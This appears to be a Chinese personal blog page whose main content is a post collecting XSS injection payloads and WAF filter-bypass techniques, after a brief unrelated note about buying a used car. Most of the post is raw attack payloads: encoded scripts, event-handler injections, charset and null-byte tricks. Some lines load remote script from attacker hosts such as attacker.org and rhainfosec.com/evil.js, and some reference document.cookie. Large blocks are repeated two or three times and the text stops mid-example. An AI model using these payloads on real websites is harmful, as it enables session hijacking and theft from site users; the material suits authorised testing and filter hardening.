狠下心来拍了个牌,随便挑了辆能跑的二手车,哈哈
几百年前的老花冠
嗯,过年回家方便啦,周末去玩也爽啦
2018年11月29日星期四
2018年10月24日星期三
XSS绕过技术 XSS插入绕过一些方式总结
我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式
0x00前言
我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式。
四种超级基础的绕过方法。
1.转换为ASCII码
例子:原脚本为<script>alert(‘I love F4ck’)</script >
通过转换,变成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.转换为HEX(十六进制)
例子:原脚本为<script>alert(‘I love F4ck’)</script>
通过转换,变成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
3.转换脚本的大小写
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增加闭合标记”>
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:”><script>alert(‘I love F4ck’)</script>
更详细绕过技术请参考此网页
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
转换工具使用的是火狐的 hackbar mozilla addon.
我们友情进行XSS检查,偶然跳出个小弹窗,其中我们总结了一些平时可能用到的XSS插入方式,方便我们以后进行快速检查,也提供了一定的思路,其中XSS有反射、存储、DOM这三类,至于具体每个类别的异同之处,本文不做学术介绍,直接介绍实际的插入方式。
四种超级基础的绕过方法。
1.转换为ASCII码
例子:原脚本为<script>alert(‘I love F4ck’)</script >
通过转换,变成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.转换为HEX(十六进制)
例子:原脚本为<script>alert(‘I love F4ck’)</script>
通过转换,变成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
3.转换脚本的大小写
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增加闭合标记”>
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:”><script>alert(‘I love F4ck’)</script>
更详细绕过技术请参考此网页
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
转换工具使用的是火狐的 hackbar mozilla addon.
1.转换为ASCII码
例子:原脚本为<script>alert(‘I love F4ck’)</script >
通过转换,变成:
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
2.转换为HEX(十六进制)
例子:原脚本为<script>alert(‘I love F4ck’)</script>
通过转换,变成:
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
3.转换脚本的大小写
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
4.增加闭合标记”>
例子:原脚本为<script>alert(‘I love F4ck’)</script>
转换为:”><script>alert(‘I love F4ck’)</script>
更详细绕过技术请参考此网页
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
转换工具使用的是火狐的 hackbar mozilla addon.
0x01 常规插入及其绕过
1 Script 标签
绕过进行一次移除操作:
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
<scr<script>ipt>alert("XSS")</scr<script>ipt>
Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本:
<script>alert("XSS")</script>
<script src="http://attacker.org/malicious.js"></script>
2 JavaScript 事件
我们可以像如下这样在元素中定义 JavaScript 事件:
<div onclick="alert('xss')">
这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:<div onmouseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发我们的代码。
另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">
<div onclick="alert('xss')">
这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:<div onmouseenter="alert('xss')">当用户鼠标移动到 div 上时就会触发我们的代码。
另一个绕过的办法就是在属性和= 之间插入一个空格:
<div onclick ="alert('xss')">
3 行内样式(Inline style)
我们同样可以在行内样式里利用 IE 浏览器支持的动态特性:
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">
<div style="color: expression(alert('XSS'))">
过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression:
/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis
所以,让我们需要把 < 放到其他地方:
<div style="color: '<'; color: expression(alert('XSS'))">
4 CSS import
IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。
<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
<style>
@import url("http://attacker.org/malicious.css");
</style>
malicious.css:
body {
color: expression(alert('XSS'));
}
为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过:
<style>
@imp\ort url("http://attacker.org/malicious.css");
</style>
IE 浏览器会接受反斜杠,但是我们绕过了过滤器。
5 Javascript URL
链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript:
<a href="javascript:alert('test')">link</a>
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:
<a href="javascript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
<a href='vbscript:MsgBox("XSS")'>link</a>
'-confirm`1`-'
'-confirm(1)-'
<a href="javascript:alert('test')">link</a>
上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码:
<a href="javascript:alert('xss')">link</a>
上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。
另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码:
<a href='vbscript:MsgBox("XSS")'>link</a>
'-confirm`1`-'
'-confirm(1)-'
1 利用字符编码
%c1;alert(/xss/);//
2 绕过长度限制
"onclick=alert(1)//
"><!--
--><script>alert(xss);<script>
"><!--
--><script>alert(xss);<script>
3 使用<base>标签
<script>alert(navigator.userAgent)<script>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
<script>+alert(88199)</script>
<script>alert(/88199/)</script>
<script src=data:text/javascript,alert(88199)></script>
<script src=data:text/javascript,alert(88199)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/88199/.source)</script>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>M
<a onmouseover=alert(17)>M
<a onclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/onclick=alert(20)>M
<form><button
formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
<form onsubmit=alert(23)><button>M
<img src=x onerror=alert(24)> 29
<body/onload=alert(25)>
<body
onscroll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe src="http://0x.lv/xss.swf"></iframe>
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus>
<script>alert(88199)</script>
<script>confirm(88199)</script>
<script>prompt(88199)</script>
<script>\u0061\u006C\u0065\u0072\u0074(88199)</script>
<script>+alert(88199)</script>
<script>alert(/88199/)</script>
<script src=data:text/javascript,alert(88199)></script>
<script src=data:text/javascript,alert(88199)></script>
<script>alert(String.fromCharCode(49,49))</script>
<script>alert(/88199/.source)</script>
<script>setTimeout(alert(88199),0)</script>
<script>document['write'](88199);</script>
<anytag onmouseover=alert(15)>M
<anytag onclick=alert(16)>M
<a onmouseover=alert(17)>M
<a onclick=alert(18)>M
<a href=javascript:alert(19)>M
<button/onclick=alert(20)>M
<form><button
formaction=javascript:alert(21)>M
<form/action=javascript:alert(22)><input/type=submit>
<form onsubmit=alert(23)><button>M
<form onsubmit=alert(23)><button>M
<img src=x onerror=alert(24)> 29
<body/onload=alert(25)>
<body
onscroll=alert(26)><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br>
<input autofocus>
<iframe src="http://0x.lv/xss.swf"></iframe>
<iframe/onload=alert(document.domain)></iframe>
<IFRAME SRC="javascript:alert(29);"></IFRAME>
<meta http-equiv="refresh" content="0;
url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2830%29%3C%2%73%63%72%69%70%74%3E">
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+></object>
<object data="javascript:alert(document.domain)">
<marquee onstart=alert(30)></marquee>
<isindex type=image src=1 onerror=alert(31)>
<isindex action=javascript:alert(32) type=image>
<input onfocus=alert(33) autofocus>
<input onblur=alert(34) autofocus><input autofocus>
0x03 规则探测及绕过
1 WAF规则探测
1、使用无害的payload,类似<b>,<i>,<u>观察响应,判断应用程序是否被HTML编码,是否标签被过滤,是否过滤<>等等;
2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;
3、尝试以下的payload
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">
2、如果过滤闭合标签,尝试无闭合标签的payload(<b,<i,<marquee)观察响应;
3、尝试以下的payload
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm (1);</script>
<script src="http://rhainfosec.com/evil.js">
2 大小写混合字符
<scRiPt>alert(1);</scrIPt>
1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;
2、使用<a>标签测试
<a href=“http://www.google.com">Clickme</a>
<a被过滤?
href被过滤?
其他内容被过滤?
如果没有过滤尝试使用
<a href=”javascript:alert(1)”>Clickme</a>
尝试使用错误的事件查看过滤
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5拥有150个事件处理函数,可以多尝试其他函数
<body/onhashchange=alert(1)><a href=#>clickit
1、如果大小写不行的话,<script>被过滤尝试<scr<script>ipt>alert(1)</scr<script>ipt>;
2、使用<a>标签测试
<a href=“http://www.google.com">Clickme</a>
<a被过滤?
href被过滤?
其他内容被过滤?
如果没有过滤尝试使用
<a href=”javascript:alert(1)”>Clickme</a>
尝试使用错误的事件查看过滤
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
HTML5拥有150个事件处理函数,可以多尝试其他函数
<body/onhashchange=alert(1)><a href=#>clickit
3 测试其他标签
src属性
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario验证
<span class="pln"> </span><span class="tag"><formaction</span><span class="pun">=</span><span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class="tag">><button></span><span class="pln">CLICK</span>
“formaction”属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件处理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in-case of payload restrictions.
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
“location”属性
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location='javascrpt:alert(1) >123
其他Payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被过滤
<svg><script>alert(/1/)</script> // Works With All Browsers
( is html encoded to (
) is html encoded to )
Opera的变量
<svg><script>alert( 1) // Works with Opera Only
实体解码
</script><script>alert(1)</script>
<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
<img src=x onerror=prompt(1);>
<img/src=aaa.jpg onerror=prompt(1);
<video src=x onerror=prompt(1);>
<audio src=x onerror=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario验证
<span class="pln"> </span><span class="tag"><formaction</span><span class="pun">=</span><span class="atv">&#039;data:text&sol;html,&lt;script&gt;alert(1)&lt/script&gt&#039;</span><span class="tag">><button></span><span class="pln">CLICK</span>
“formaction”属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
事件处理
<svg/onload=prompt(1);>
<marquee/onstart=confirm(2)>/
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)> // Useful in-case of payload restrictions.
嵌套欺骗
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<body language=vbsonload=alert-1 // Works with IE8
<command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x6 9\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
圆括号被过滤
<a onmouseover="javascript:window.onerror=alert;throw 1>
<img src=x onerror="javascript:window.onerror=alert;throw 1">
<body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
“location”属性
<a onmouseover=location=’javascript:alert(1)>click
<body onfocus="location='javascrpt:alert(1) >123
其他Payload
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"</svg> // By @secalert
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被过滤
<svg><script>alert(/1/)</script> // Works With All Browsers
( is html encoded to (
) is html encoded to )
Opera的变量
<svg><script>alert( 1) // Works with Opera Only
实体解码
</script><script>alert(1)</script>
<a href="j&#x26#x41;vascript:alert%252831337%2529">Hello</a>
编码
JavaScript是很灵活的语言,可以使用十六进制、Unicode、HTML等进行编码,以下属性可以被编码
(支持HTML, Octal, Decimal,Hexadecimal, and Unicode)
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
4 基于上下文的过滤
WAF最大的问题是不能理解内容,使用黑名单可以阻挡独立的js脚本,但仍不能对xss提供足够的保护,如果一个反射型的XSS是下面这种形式
1 输入反射属性
<input value="XSStest" type=text>
我们可以使用 “><imgsrc=x onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况:
<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
confirm() ,例如:
“;alert(1)//
我们可以使用 “><imgsrc=x onerror=prompt(0);>触发,但是如果<>被过滤,我们仍然可以使用“ autofocusonfocus=alert(1)//触发,基本是使用“ 关闭value属性,再加入我们的执行脚本
" onmouseover="prompt(0) x="
" onfocusin=alert(1) autofocus x="
" onfocusout=alert(1) autofocus x="
" onblur=alert(1) autofocus a="
输入反射在<script>标签内
类似这种情况:
<script>
Var
x=”Input”;
</script>
通常,我们使用“></script>,闭合前面的</script>标签,然而在这种情况,我们也可以直接输入执行脚本alert(), prompt()
confirm() ,例如:
“;alert(1)//
2 非常规事件监听
DOMfocusin,DOMfocusout,等事件,这些需要特定的事件监听适当的执行。例如:
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
此类事件的列表
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
";document.body.addEventListener("DOMActivate",alert(1))//
";document.body.addEventListener("DOMActivate",prompt(1))//
";document.body.addEventListener("DOMActivate",confirm(1))//
此类事件的列表
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
3 超文本内容
代码中的情况如下
<a
href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行<a
href=”javascript:alert(1)//”>Click</a>
<a
href=”Userinput”>Click</a>
可以使用javascript:alert(1)//直接执行<a
href=”javascript:alert(1)//”>Click</a>
4 变形
主要包含大小写和JavaScript变形
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
avascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
javascript:alert(1)
javaSCRIPT:alert(1)
JaVaScRipT:alert(1)
javas	cript:\u0061lert(1);
javascript:\u0061lert(1)
avascript:alert(document.cookie) // AsharJaved
IE10以下和URI中可以使用VBScript
vbscript:alert(1);
vbscript:alert(1);
vbscr	ipt:alert(1)"
Data URl
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
5 JSON内容
反射输入
encodeURIComponent('userinput')
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')
encodeURIComponent('userinput')
可以使用
-alert(1)-
-prompt(1)-
-confirm(1)-
结果
encodeURIComponent(''-alert(1)-'')
encodeURIComponent(''-prompt(1)-'')
6 输入反射在svg标签内
源码如下:
<svg><script>varmyvar=”YourInput”;</script></svg>
可以输入
www.site.com/test.php?var=text”;alert(1)//
如果系统编码了”字符
<svg><script>varmyvar="text";alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
<svg><script>varmyvar=”YourInput”;</script></svg>
可以输入
www.site.com/test.php?var=text”;alert(1)//
如果系统编码了”字符
<svg><script>varmyvar="text";alert(1)//";</script></svg>
原因是引入了附加的(XML)到HTML内容里,可以使用2次编码处理
浏览器BUG
7 字符集BUG
字符集BUG在IE中很普遍,最早的bug是UTF-7。如果能控制字符集编码,我们可以绕过99% 的WAF过滤。
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
src=x onerror=prompt(0);>
可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
示例
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
可以控制编码,提交
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=”><img
src=x onerror=prompt(0);>
可以修改为UTF-32编码形式
???script?alert(1)?/script?
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
8 空字节
最长用来绕过mod_security防火墙,形式如下:
<script>alert(1);</script>
<scri\x00pt>alert(1);</script>
<script>confirm(0);</script>
空字节只适用于PHP 5.3.8以上的版本
<script>alert(1);</script>
<scri\x00pt>alert(1);</script>
<script>confirm(0);</script>
空字节只适用于PHP 5.3.8以上的版本
9 语法BUG
RFC声明中节点名称不能是空格,以下的形式在javascript中不能运行
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
<// style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // Works upto IE9 参考http://html5sec.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7 参考 http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
<script>alert(1);</script>
<%0ascript>alert(1);</script>
<%0bscript>alert(1);</script>
<%, <//, <!,<?可以被解析成<,所以可以使用以下的payload
<// style=x:expression\28write(1)\29> // Works upto IE7 参考http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // Works upto IE9 参考http://html5sec.org/#115
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> // Works in IE7 参考 http://html5sec.org/#77
<%div%20style=xss:expression(prompt(1))> // Works Upto IE7
10 Unicode分隔符
[on\w+\s*]这个规则过滤了所有on事件,为了验证每个浏览器中有效的分隔符,可以使用fuzzing方法测试0×00到0xff,结果如下:
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤,绕过的方法:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
IExplorer= [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox= [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B]
x0b在Mod_security中已经被过滤,绕过的方法:
<a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
11 缺少X-frame选项
通常会认为X-frame是用来防护点击劫持的配置,其实也可以防护使用iframe引用的xss漏洞
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
expression(open(alert(1)))
以下POC可以插入到IE7中
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">
</body>
</html>
Docmodes
IE引入了doc-mode很长时间,提供给老版本浏览器的后端兼容性,有风险,攻击情景是黑客可以引用你站点的框架,他可以引入doc-mode执行css表达式
expression(open(alert(1)))
以下POC可以插入到IE7中
<html>
<body>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<iframesrc="https://targetwebsite.com">
</body>
